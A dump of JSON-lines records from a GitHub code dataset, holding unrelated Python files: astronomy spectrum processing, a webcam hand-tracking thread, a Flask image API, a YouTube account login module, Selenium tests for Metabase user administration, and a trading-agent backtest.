pix. Shift = 0.0')\n\t\tf.write('Shift Rejected since > 1 pix. Shift = 0.0')\n\n\t#step 4: order by order, apply the shift and divide the spectra\n\tspec_target_a0v=[]\n\twlsol=[]\n\tsnr=[]\n\n\n\tfor order in range(len(spec)):\n\t\t#this assumes that the spectra have the same number of orders and are in the same order\n\n\t\t##ok, so lets shift the standard spectra here. by the amount in pixels.\n\t\tpix_order=np.arange(len(wlsol_standard))\n\t\t#it will interpolate\n\t\tspec_standard[order],snr_standard[order],wlsol_standard[order]=align_by_f_interp(shift,spec_standard[order],snr_standard[order],wlsol_standard[order])\n\n\t\t### when dividing: thinking about if we need to normalize them in any way. but\n\t\t## that means just multiplying by some factor - so the answer is no then,\n\t\t# it is not mathematically necessary.\n\n\t\t#fyi - keeping the target wavesol so we can just use that vega to get the correct shape\n\t\tdiv=spec_target[order]/spec_standard[order]*vega[order]\n\n\t\tspec_target_a0v.append(div)\n\t\twlsol_order=wlsol_target[order]\n\t\t#wlsol_order=wlsol_standard[order] used to use this\n\t\twlsol.append(wlsol_order)\n\t\t#adding in quadrature\n\t\tunc_order=(snr_standard[order]**-2+snr_target[order]**-2)**0.5\n\t\tsnr.append(unc_order**-1)\n\n\n\tspec_target_a0v=np.array(spec_target_a0v)\n\n\t#step 5: save to a new fits file\n\t#the extensions are a bit like the plp output\n\t#except now with uncs (that incorporate the a0v division as well)\n\n\t#write the primary data, and fill out the header\n\thdu=pyfits.PrimaryHDU()\n\thdu.writeto(filename_out, overwrite = True)\n\t#copy the target header\n\theader=dataheader_target\n\theader[\"EXTNAME\"] = 'SPEC_DIVIDE_A0V'\n\theader[\"STD\"]=(specfile_standard,\"Standard spectra used\")\n\theader.add_comment(\"This spectrum was created by dividing by the standard spectra and multiplying by a generic Vega (as in the plp)\")\n\theader.add_comment(\"The standard pixels were shifted by an offset of \"+str(shift) )\n\tpyfits.update(filename_out,spec_target_a0v, header)\n\n\n\t#add the rest of the extensions\n\theader[\"EXTNAME\"]=\"WAVELENGTH\"\n\tpyfits.append(filename_out,wlsol_target, header)\n\theader[\"EXTNAME\"]=\"TGT_SPEC\"\n\tpyfits.append(filename_out,spec_target, header)\n\theader[\"EXTNAME\"]=\"A0V_SPEC\"\n\tpyfits.append(filename_out,spec_standard, header)\n\theader[\"EXTNAME\"]=\"VEGA_SPEC\"\n\tpyfits.append(filename_out,vega, header)\n\t###This one is new!\n\theader[\"EXTNAME\"]=\"SNR\"\n\tpyfits.append(filename_out,snr, header)\n\n\tf.write('*** File out ***'+'\\n')\n\tf.write('The divided spectra is being saved to '+filename_out)\n\tf.close()\n","repo_name":"IGRINScontact/RRISA","sub_path":"rtell/rtell.py","file_name":"rtell.py","file_ext":"py","file_size_in_byte":17785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"41867254709","text":"#!/usr/bin/python3\nimport random\nnumber = random.randint(-10000, 10000)\n\n# To find the last digit of a negative number\nif number < 0:\n lst = -((-1 * number) % 10)\nelse:\n lst = (number % 10)\nif lst > 5:\n print(f\"Last digit of {number:d} is {lst:d} and is greater than 5\")\nelif lst == 0:\n print(f\"Last digit of {number:d} is {lst:d} and is 0\")\nelif lst < 6 and lst != 0:\n print(f\"Last digit of {number:d} is {lst:d} and is less than 6 and not 0\")\n","repo_name":"Rangosolo1234/alx-higher_level_programming","sub_path":"0x01-python-if_else_loops_functions/1-last_digit.py","file_name":"1-last_digit.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"9284882643","text":"# import the necessary packages\nfrom threading import Thread\n\nimport cv2\nimport numpy as np\n\nfrom MediapipeHands import draw_styled_landmarks, mediapipe_detection, mp_holistic\nfrom ResizeImage import resize_image\nfrom DrawRectangleHand import draw_rectangle_hand\n\n\nclass WebcamVideoStream:\n def __init__(\n self,\n src=0,\n width=1920,\n height=1080,\n image_size=(32, 32),\n min_detection_confidence=0.5,\n min_tracking_confidence=0.5,\n show_original_frame=True,\n ):\n # initialize properties\n self.results = None\n self.black_image_with_hand_non_resized = None\n self.black_image_with_hand_resized = None\n self.frame = None\n self.image_size = image_size\n self.min_detection_confidence = min_detection_confidence\n self.min_tracking_confidence = min_tracking_confidence\n self.show_original_frame = show_original_frame\n\n # initialize the video camera stream and read the first frame\n # from the stream\n self.stream = cv2.VideoCapture(src, cv2.CAP_DSHOW)\n self.stream.set(cv2.CAP_PROP_FRAME_WIDTH, width)\n self.stream.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\n\n (self.grabbed, self.frame) = self.stream.read()\n\n # initialize the variable used to indicate if the thread should\n # be stopped\n self.stopped = False\n\n def start(self):\n # start the thread to read frames from the video stream\n webcam_capture_thread = Thread(target=self.webcam_capture)\n webcam_capture_thread.daemon = True\n webcam_capture_thread.start()\n\n # start the thread to read frames from the webcam_capture thread\n mediapipe_processing_thread = Thread(target=self.mediapipe_processing)\n mediapipe_processing_thread.daemon = True\n mediapipe_processing_thread.start()\n return self\n\n def mediapipe_processing(self):\n # keep looping infinitely until the thread is stopped\n with mp_holistic.Holistic(\n min_detection_confidence=self.min_detection_confidence,\n min_tracking_confidence=self.min_tracking_confidence,\n ) as holistic:\n while not self.stopped:\n # if the thread indicator variable is set, stop the thread\n if self.stopped:\n return\n\n # otherwise, read the next frame from the webcam_capture thread\n image, self.results = mediapipe_detection(self.frame, holistic)\n black_image = np.zeros(image.shape, dtype=np.uint8)\n draw_styled_landmarks(black_image, self.results)\n black_image_with_hand = cv2.flip(black_image, 1)\n self.black_image_with_hand_non_resized = black_image_with_hand.copy()\n self.black_image_with_hand_resized = resize_image(\n black_image_with_hand, self.image_size\n )\n\n def webcam_capture(self):\n # keep looping infinitely until the thread is stopped\n while not self.stopped:\n # otherwise, read the next frame from the stream\n (self.grabbed, self.frame) = self.stream.read()\n\n self.stream.release()\n\n def read(self):\n # return the frame most recently read\n if self.show_original_frame:\n draw_rectangle_hand(self.frame, self.results)\n return cv2.flip(self.frame, 1), self.black_image_with_hand_resized\n return (\n self.black_image_with_hand_non_resized,\n self.black_image_with_hand_resized,\n )\n\n def stop(self):\n # indicate that the thread should be stopped\n self.stopped = True\n","repo_name":"frosteen/Freelance-Projects","sub_path":"(PYTHON)_THESIS-DESIGN_American Sign Language Interpreter using an RGB-D camera and Machine Learning/Project/WebcamThreading_Fast.py","file_name":"WebcamThreading_Fast.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23413822504","text":"import re\nimport nltk\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\nfrom textblob import TextBlob\n\ndef preprocessing(text):\n text = re.sub('[^a-zA-Z]', ' ', text)\n text = text.lower()\n text = text.split()\n ps = PorterStemmer()\n text = [ps.stem(word) for word in text if not word in set(stopwords.words('english'))]\n text = ' '.join(text)\n\n return text\n\ndef perprocessing(text):\n blob = TextBlob(text)\n polarity = blob.polarity * 10\n return polarity\n","repo_name":"kaushiksekar07/e-mart","sub_path":"Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43139465997","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\nfrom flask_mysqldb import MySQL\nfrom werkzeug.utils import secure_filename\nimport os\n\ndef create_app(test_config=None):\n # Create and configure the app\n template_dir = os.path.abspath('templates')\n\n # Initialize the app\n app = Flask(__name__, template_folder=template_dir)\n \n # Load default config from settings.py\n app.config.from_pyfile('settings.py') # Load database environment variables\n\n # Initialize Plugins\n CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\n # Config MySQL\n app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST')\n app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER')\n app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD')\n app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB')\n app.config['MYSQL_PORT'] = 3306 # If the port is constant, you don't need to set it from environment variables.\n app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')\n\n # Initialize MySQL\n mysql = MySQL(app)\n\n # Function to insert image and text data into the database\n def insert_data(image_name, texts):\n cursor = mysql.connection.cursor()\n data = {\n 'images': image_name,\n 'texts': texts\n }\n cursor.execute(\"INSERT INTO users (images, texts) VALUES (%(images)s, %(texts)s)\", data)\n mysql.connection.commit()\n cursor.close()\n\n # Upload an image, save it to the database, and return the image URL\n @app.route('/upload_image', methods=['POST'])\n def upload_image():\n file = request.files['image']\n if file:\n filename = secure_filename(file.filename)\n insert_data(filename, request.form.get('texts', ''))\n return jsonify({'status': 'success', 'message': 'Image uploaded and data inserted into the database', 'image_url': filename})\n else:\n return jsonify({'status': 'failure', 'message': 'No file uploaded'})\n\n # Delete an image and its associated data\n @app.route('/delete_image', methods=['DELETE'])\n def delete_image():\n image_id = request.args.get('id')\n \n if image_id is None:\n return jsonify({'status': 'failure', 'message': 'Image ID is required'})\n\n cursor = mysql.connection.cursor()\n cursor.execute(\"SELECT images FROM users WHERE id = %s\", (image_id,))\n result = cursor.fetchone()\n\n if result:\n image_name = result[0]\n cursor.execute(\"DELETE FROM users WHERE id = %s\", (image_id,))\n mysql.connection.commit()\n return jsonify({'status': 'success', 'message': 'Image and associated data deleted successfully'})\n else:\n mysql.connection.commit()\n return jsonify({'status': 'failure', 'message': 'Image not found'})\n\n # Define a route to list all images and their details\n @app.route('/list_images', methods=['GET'])\n def list_images():\n cursor = mysql.connection.cursor()\n\n # Retrieve all data from the database\n cursor.execute(\"SELECT * FROM users\")\n all_data = cursor.fetchall()\n cursor.close()\n\n return jsonify({'status': 'success', 'data': all_data})\n\n return app\napp = create_app()\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"OmarKhalil10/Text-Extraction-API","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32894700604","text":"import os\n\nfrom reinforcement_learning.crypto_market.crypto_trader_agent import CryptoTraderAgent\n\nimport sys\n\nsys.path.insert(0, '../../../etf_data')\nfrom etf_data_loader import load_all_data_from_file\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndir_data = 'data_ltc_eur/'\ndir_models = 'models_ltc_eur/'\nticket = 'LTC_EUR'\n\n\nstart_date = '2017-01-01'\nend_date = '2018-06-01'\ndf_adj_close = load_all_data_from_file('btc_data_open.csv', start_date, end_date)\ndata = pd.DataFrame(df_adj_close['Open'])\n# data = data.ewm(alpha=0.1).mean()\n\nnp.warnings.filterwarnings('ignore')\n\nplt.plot(data.pct_change().cumsum().as_matrix())\nlegends = ['benchmark']\n\n\nagent = CryptoTraderAgent('btc', model='models/decision_tree_13.pkl')\nagent.invest(data, window=30)\n\nplt.plot(agent.ror_history)\nlegends.append('ror decision_tree_11.pkl')\n\nchaos_counts = [agent.actions.count('S'),\n agent.actions.count('B'),\n agent.actions.count('H'), ]\nprint('\\n[S, B, H, ]\\n', chaos_counts)\n\nprint('-' * 80)\nprint(start_date, ' <-> ', end_date)\nprint('ror:', agent.ror_history[-1])\nprint('cash:', agent.cash)\nprint('shares:', agent.shares)\nprint('value:', agent.history[-1])\n\nplt.legend(legends)\nplt.show()\n","repo_name":"xSakix/AI_playground","sub_path":"reinforcement_learning/crypto_market/crypto_market_env_only_one_trader_agent.py","file_name":"crypto_market_env_only_one_trader_agent.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"7731555688","text":"# Contains functions having to do with logging in\nfrom youtube import util\nfrom youtube import yt_app\nimport settings\n\nimport urllib\nimport json\nimport re\nimport http.cookiejar\nimport io\nimport os\n\nimport flask\nfrom flask import request\n\ntry:\n with open(os.path.join(settings.data_dir, 'accounts.txt'), 'r', encoding='utf-8') as f:\n accounts = json.loads(f.read())\nexcept FileNotFoundError:\n # global var for temporary storage of account info\n accounts = {}\n\ndef account_list_data():\n '''Returns iterable of (channel_id, account_display_name)'''\n return [ (channel_id, account['display_name']) for channel_id, account in accounts.items() ]\n\ndef save_accounts():\n to_save = {channel_id: account for channel_id, account in accounts.items() if account['save']}\n with open(os.path.join(settings.data_dir, 'accounts.txt'), 'w', encoding='utf-8') as f:\n f.write(json.dumps(to_save, indent=4)+'\\n')\n\ndef cookiejar_from_lwp_str(lwp_str):\n lwp_str = \"#LWP-Cookies-2.0\\n\" + lwp_str # header required by _really_load for reading from \"file\"\n cookiejar = http.cookiejar.LWPCookieJar()\n # HACK: cookiejar module insists on using filenames and reading files for you,\n # so present a StringIO to this internal method which takes a filelike object\n cookiejar._really_load(io.StringIO(lwp_str), \"\", False, False)\n return cookiejar\n\ndef account_cookiejar(channel_id):\n return cookiejar_from_lwp_str('\\n'.join(accounts[channel_id]['cookies']))\n\ndef _add_account(username, password, save, use_tor):\n cookiejar = http.cookiejar.LWPCookieJar()\n result = _login(username, password, cookiejar, use_tor)\n if isinstance(result, dict):\n accounts[result[\"channel_id\"]] = {\n \"save\":save,\n \"username\": username,\n \"display_name\": username,\n \"cookies\":cookiejar.as_lwp_str(ignore_discard=False, ignore_expires=False).split('\\n'),\n }\n if save:\n save_accounts()\n return True\n return False\n\n@yt_app.route('/login', methods=['POST'])\ndef add_account():\n save_account = request.values.get('save', 'off') == 'on'\n use_tor = request.values.get('use_tor', 'off') == 'on'\n\n if _add_account(request.values['username'], request.values['password'], save_account, use_tor ):\n return 'Account successfully added'\n else:\n return 'Failed to add account'\n\n\n@yt_app.route('/login', methods=['GET'])\ndef get_account_login_page():\n return flask.render_template('login.html')\n\n\n\n# ---------------------------------\n# Code ported from youtube-dl\n# ---------------------------------\nfrom html.parser import HTMLParser as compat_HTMLParser\nimport http.client as compat_http_client\n\nclass HTMLAttributeParser(compat_HTMLParser):\n \"\"\"Trivial HTML parser to gather the attributes for a single element\"\"\"\n def __init__(self):\n self.attrs = {}\n compat_HTMLParser.__init__(self)\n\n def handle_starttag(self, tag, attrs):\n self.attrs = dict(attrs)\n\ndef extract_attributes(html_element):\n \"\"\"Given a string for an HTML element such as\n \n Decode and return a dictionary of attributes.\n {\n 'a': 'foo', 'b': 'bar', c: 'baz', d: 'boz',\n 'empty': '', 'noval': None, 'entity': '&',\n 'sq': '\"', 'dq': '\\''\n }.\n NB HTMLParser is stricter in Python 2.6 & 3.2 than in later versions,\n but the cases in the unit test will work for all of 2.6, 2.7, 3.2-3.5.\n \"\"\"\n parser = HTMLAttributeParser()\n parser.feed(html_element)\n parser.close()\n\n return parser.attrs\n\ndef _hidden_inputs(html):\n html = re.sub(r'', '', html)\n hidden_inputs = {}\n for input in re.findall(r'(?i)(]+>)', html):\n attrs = extract_attributes(input)\n if not input:\n continue\n if attrs.get('type') not in ('hidden', 'submit'):\n continue\n name = attrs.get('name') or attrs.get('id')\n value = attrs.get('value')\n if name and value is not None:\n hidden_inputs[name] = value\n return hidden_inputs\n\ndef try_get(src, getter, expected_type=None):\n if not isinstance(getter, (list, tuple)):\n getter = [getter]\n for get in getter:\n try:\n v = get(src)\n except (AttributeError, KeyError, TypeError, IndexError):\n pass\n else:\n if expected_type is None or isinstance(v, expected_type):\n return v\n\ndef remove_start(s, start):\n return s[len(start):] if s is not None and s.startswith(start) else s\n\n\nyt_dl_headers = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 (Chrome)',\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'en-us,en;q=0.5',\n}\n_LOGIN_URL = 'https://accounts.google.com/ServiceLogin'\n_TWOFACTOR_URL = 'https://accounts.google.com/signin/challenge'\n\n_LOOKUP_URL = 'https://accounts.google.com/_/signin/sl/lookup'\n_CHALLENGE_URL = 'https://accounts.google.com/_/signin/sl/challenge'\n_TFA_URL = 'https://accounts.google.com/_/signin/challenge?hl=en&TL={0}'\n_CHANNEL_ID_RE = re.compile(r'\"channelUrl\"\\s*:\\s*\"\\\\/channel\\\\/(UC[\\w-]{22})\"')\ndef _login(username, password, cookiejar, use_tor):\n \"\"\"\n Attempt to log in to YouTube.\n True is returned if successful or skipped.\n False is returned if login failed.\n\n Taken from youtube-dl\n \"\"\"\n\n login_page = util.fetch_url(_LOGIN_URL, yt_dl_headers, report_text='Downloaded login page', cookiejar_receive=cookiejar, use_tor=use_tor, debug_name='login_page').decode('utf-8')\n\n if login_page is False:\n return\n\n login_form = _hidden_inputs(login_page)\n\n def req(url, f_req, note, errnote):\n data = login_form.copy()\n data.update({\n 'pstMsg': 1,\n 'checkConnection': 'youtube',\n 'checkedDomains': 'youtube',\n 'hl': 'en',\n 'deviceinfo': '[null,null,null,[],null,\"US\",null,null,[],\"GlifWebSignIn\",null,[null,null,[]]]',\n 'f.req': json.dumps(f_req),\n 'flowName': 'GlifWebSignIn',\n 'flowEntry': 'ServiceLogin',\n 'bgRequest': '[\"identifier\",\"\"]',\n })\n headers={\n 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',\n 'Google-Accounts-XSRF': 1,\n }\n headers.update(yt_dl_headers)\n result = util.fetch_url(url, headers, report_text=note, data=data, cookiejar_send=cookiejar, cookiejar_receive=cookiejar, use_tor=use_tor, debug_name=note).decode('utf-8')\n result = re.sub(r'^[^\\[]*', '', result)\n return json.loads(result)\n\n def warn(message):\n print(\"Login: \" + message)\n\n lookup_req = [\n username,\n None, [], None, 'US', None, None, 2, False, True,\n [\n None, None,\n [2, 1, None, 1,\n 'https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fnext%3D%252F%26action_handle_signin%3Dtrue%26hl%3Den%26app%3Ddesktop%26feature%3Dsign_in_button&hl=en&service=youtube&uilel=3&requestPath=%2FServiceLogin&Page=PasswordSeparationSignIn',\n None, [], 4],\n 1, [None, None, []], None, None, None, True\n ],\n username,\n ]\n\n lookup_results = req(\n _LOOKUP_URL, lookup_req,\n 'Looking up account info', 'Unable to look up account info')\n\n if lookup_results is False:\n return False\n\n user_hash = try_get(lookup_results, lambda x: x[0][2], str)\n if not user_hash:\n warn('Unable to extract user hash')\n return False\n\n challenge_req = [\n user_hash,\n None, 1, None, [1, None, None, None, [password, None, True]],\n [\n None, None, [2, 1, None, 1, 'https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fnext%3D%252F%26action_handle_signin%3Dtrue%26hl%3Den%26app%3Ddesktop%26feature%3Dsign_in_button&hl=en&service=youtube&uilel=3&requestPath=%2FServiceLogin&Page=PasswordSeparationSignIn', None, [], 4],\n 1, [None, None, []], None, None, None, True\n ]]\n\n challenge_results = req(\n _CHALLENGE_URL, challenge_req,\n 'Logging in', 'Unable to log in')\n\n if challenge_results is False:\n return\n\n login_res = try_get(challenge_results, lambda x: x[0][5], list)\n if login_res:\n login_msg = try_get(login_res, lambda x: x[5], str)\n warn(\n 'Unable to login: %s' % 'Invalid password'\n if login_msg == 'INCORRECT_ANSWER_ENTERED' else login_msg)\n return False\n\n res = try_get(challenge_results, lambda x: x[0][-1], list)\n if not res:\n warn('Unable to extract result entry')\n return False\n\n login_challenge = try_get(res, lambda x: x[0][0], list)\n if login_challenge:\n challenge_str = try_get(login_challenge, lambda x: x[2], str)\n if challenge_str == 'TWO_STEP_VERIFICATION':\n # SEND_SUCCESS - TFA code has been successfully sent to phone\n # QUOTA_EXCEEDED - reached the limit of TFA codes\n status = try_get(login_challenge, lambda x: x[5], str)\n if status == 'QUOTA_EXCEEDED':\n warn('Exceeded the limit of TFA codes, try later')\n return False\n\n tl = try_get(challenge_results, lambda x: x[1][2], str)\n if not tl:\n warn('Unable to extract TL')\n return False\n\n tfa_code = self._get_tfa_info('2-step verification code')\n\n if not tfa_code:\n warn(\n 'Two-factor authentication required. Provide it either interactively or with --twofactor '\n '(Note that only TOTP (Google Authenticator App) codes work at this time.)')\n return False\n\n tfa_code = remove_start(tfa_code, 'G-')\n\n tfa_req = [\n user_hash, None, 2, None,\n [\n 9, None, None, None, None, None, None, None,\n [None, tfa_code, True, 2]\n ]]\n\n tfa_results = req(\n _TFA_URL.format(tl), tfa_req,\n 'Submitting TFA code', 'Unable to submit TFA code')\n\n if tfa_results is False:\n return False\n\n tfa_res = try_get(tfa_results, lambda x: x[0][5], list)\n if tfa_res:\n tfa_msg = try_get(tfa_res, lambda x: x[5], str)\n warn(\n 'Unable to finish TFA: %s' % 'Invalid TFA code'\n if tfa_msg == 'INCORRECT_ANSWER_ENTERED' else tfa_msg)\n return False\n\n check_cookie_url = try_get(\n tfa_results, lambda x: x[0][-1][2], str)\n else:\n CHALLENGES = {\n 'LOGIN_CHALLENGE': \"This device isn't recognized. For your security, Google wants to make sure it's really you.\",\n 'USERNAME_RECOVERY': 'Please provide additional information to aid in the recovery process.',\n 'REAUTH': \"There is something unusual about your activity. For your security, Google wants to make sure it's really you.\",\n }\n challenge = CHALLENGES.get(\n challenge_str,\n '%s returned error %s.' % ('youtube', challenge_str))\n warn('%s\\nGo to https://accounts.google.com/, login and solve a challenge.' % challenge)\n return False\n else:\n check_cookie_url = try_get(res, lambda x: x[2], str)\n\n if not check_cookie_url:\n warn('Unable to extract CheckCookie URL')\n return False\n\n try:\n check_cookie_results = util.fetch_url(check_cookie_url, headers=yt_dl_headers, report_text=\"Checked cookie\", cookiejar_send=cookiejar, cookiejar_receive=cookiejar, use_tor=use_tor, debug_name='check_cookie_results').decode('utf-8')\n except (urllib.error.URLError, compat_http_client.HTTPException, socket.error) as err:\n return False\n\n\n if 'https://myaccount.google.com/' not in check_cookie_results:\n warn('Unable to log in')\n return False\n\n select_site_page = util.fetch_url('https://m.youtube.com/select_site', headers=util.mobile_ua, report_text=\"Retrieved page for channel id\", cookiejar_send=cookiejar, use_tor=use_tor).decode('utf-8')\n match = _CHANNEL_ID_RE.search(select_site_page)\n if match is None:\n warn('Failed to find channel id')\n return False\n\n channel_id = match.group(1)\n\n return {'channel_id': channel_id}\n","repo_name":"user938120/youtube-local","sub_path":"youtube/accounts.py","file_name":"accounts.py","file_ext":"py","file_size_in_byte":12721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"42479662875","text":"from behave import *\nfrom selenium import webdriver\nfrom selenium.webdriver import Keys\nfrom selenium.webdriver.common import keys\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.common.exceptions import NoSuchElementException\nimport time\n\n\n\n@given(u'Chrome Browser is launched')\ndef Chrome(context):\n context.driver = webdriver.Chrome(executable_path='D:\\Drivers\\chromedriver_win32\\chromedriver.exe')\n assert True;\n\n\n\n\n@given(u'The url http://localhost:3000/ is opened')\ndef URL(context):\n context.driver.maximize_window()\n try:\n context.driver.get(\"http://localhost:3000/\")\n assert True;\n except WebDriverException:\n context.driver.close()\n print(\"Cannot open metabase url, make sure it is running on your localhost\")\n assert False;\n time.sleep(1.5)\n\n\n\n@when(u'I enter email as \"{email}\" and password as \"{password}\"')\ndef LoginInfo(context, email, password):\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"formField-username\\\"]/div[2]/div/input\").send_keys(email)\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"formField-password\\\"]/div[2]/div/input\").send_keys(password)\n time.sleep(0.5)\n assert True;\n\n\n@when(u'I click on Sign in')\ndef SignIn(context):\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div/div[2]/div/form/div[4]/button\").click()\n time.sleep(1.5)\n assert True;\n\n\n\n@when(u'I should logged in')\ndef LoggedIn(context):\n try:\n text = context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/div/aside/nav/div/div/div[2]/div/h4\").text\n except:\n context.driver.close()\n assert False, \"Test Failed: The provided credentials are invalid\"\n if text == \"COLLECTIONS\":\n assert True, \"Logged In Successfully\"\n\n\n@when(u'I click on the settings icon')\ndef SettingIcon(context):\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/header/div/div[2]/div[3]/div/div/button\").click()\n time.sleep(1.5)\n assert True;\n\n\n\n@when(u'I click on Admin Settings')\ndef AdminSetting(context):\n context.driver.find_element(By.XPATH, \"/html/body/span/span/div/div/div/ol/li[2]/a/div\").click()\n time.sleep(1.5)\n try:\n text = context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/div/main/div/div[1]/div[1]\").text\n except:\n context.driver.close()\n assert False, \"Test Failed: This is not an admin account\"\n if text == \"Settings\":\n assert True, \"Admin Settings Opened\"\n\n\n@when(u'I click on People')\ndef People(context):\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/div/nav/div[2]/ul/li[4]/a\").click()\n time.sleep(0.2)\n assert True;\n\n\n@when(u'I click on Invite Someone button')\ndef InviteButton(context):\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/section[1]/div/a/button\").click()\n time.sleep(0.2)\n assert True;\n\n\n\n@when(u'I enter first name as \"{firstname}\" and I enter last name as \"{lastname}\" and I enter email as \"{email}\"')\ndef UserInfo(context,firstname,lastname,email):\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"formField-first_name\\\"]/div[2]/div/input\").send_keys(firstname)\n context.driver.find_element(By.XPATH, \"//*[@id=\\\"formField-last_name\\\"]/div[2]/div/input\").send_keys(lastname)\n context.driver.find_element(By.NAME,'email').send_keys(email)\n assert True;\n\n\n@when(u'I click on Create')\ndef Create(context):\n context.driver.find_element(By.XPATH,\"/html/body/div[4]/div/div/div/div/div/div[2]/div/form/div[5]/button[1]\").click()\n time.sleep(5)\n assert True;\n\n\n@when(u'I click on Done button')\ndef Done(context):\n context.driver.find_element(By.XPATH, \"/html/body/div[4]/div/div/div/div/div/div[3]/div/button\").click()\n time.sleep(1.5)\n assert True;\n\n\n@when(u'New user will be created')\ndef NewUser(context):\n assert True, \"New User is Created\"\n\n\n@when(u'I click on Groups')\ndef Groups(context):\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[1]/ul/li[2]/a\").click()\n time.sleep(1.5)\n try:\n text = context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[1]/ul/li[2]/a\").text\n except:\n context.driver.close()\n assert False, \"Test Failed: Groups Button not found\"\n if text == \"Groups\":\n assert True, \"Group button is clicked\"\n\n\n@when(u'I click on Administrator Group')\ndef AdministratorGroup(context):\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/table/tbody/tr[1]/td[1]/a\").click()\n\n time.sleep(1.5)\n assert True;\n\n@when(u'I click on Add Member button')\ndef AddMemberbutton(context):\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/section/div/button\").click()\n\n time.sleep(1.5)\n try:\n text = context.driver.find_element(By.XPATH, \"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/section/div/button/div/div\").text\n except:\n context.driver.close()\n assert False, \"Test Failed: Add members Button not found\"\n if text == \"Add members\":\n assert True, \"Add members button is clicked\"\n\n\n\n@when(u'I enter the name of the created user as \"{name}\" \"{name2}\"')\ndef Entername(context,name,name2):\n\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/table/tbody/tr[1]/td/div/input\").send_keys(name+\" \"+name2)\n time.sleep(5)\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/table/tbody/tr[1]/td/div/input\").send_keys(Keys.ARROW_DOWN,Keys.RETURN)\n assert True;\n\n\n@when(u'I click on the Add button')\ndef AddButton(context):\n context.driver.find_element(By.XPATH,\"//*[@id=\\\"root\\\"]/div/div/main/div/div[2]/div[2]/div/table/tbody/tr[1]/td/div/button\").click()\n\n time.sleep(1.5)\n assert True;\n\n@then(u'New created user will be added to the Administrator Group')\ndef Added(context):\n assert True, \"Successfully added to the administrator group\"\n\n","repo_name":"MapleTechOfficial/Assignment_SQE","sub_path":"Selenium Automation/steps/AddCreatedUserToAdminGroup.py","file_name":"AddCreatedUserToAdminGroup.py","file_ext":"py","file_size_in_byte":6300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38887358789","text":"\"\"\"\nDelayed AR with variable decay rate.\n\nThe spike height function is also simpler.\n\"\"\"\n\nimport apsw\nimport math\nimport time\n\n# Half life in blocks *for lower LBC claims* (it's shorter for whale claims)\nHALF_LIFE = 200\n\n# Whale threshold, in LBC (higher -> less DB writing)\nWHALE_THRESHOLD = 10000.0\n\n# Decay coefficient per block\nDECAY = 0.5**(1.0/HALF_LIFE)\n\n# How frequently to write trending values to the db\nSAVE_INTERVAL = 10\n\n# Renormalisation interval\nRENORM_INTERVAL = 1000\n\n# Assertion\nassert RENORM_INTERVAL % SAVE_INTERVAL == 0\n\n# Decay coefficient per renormalisation 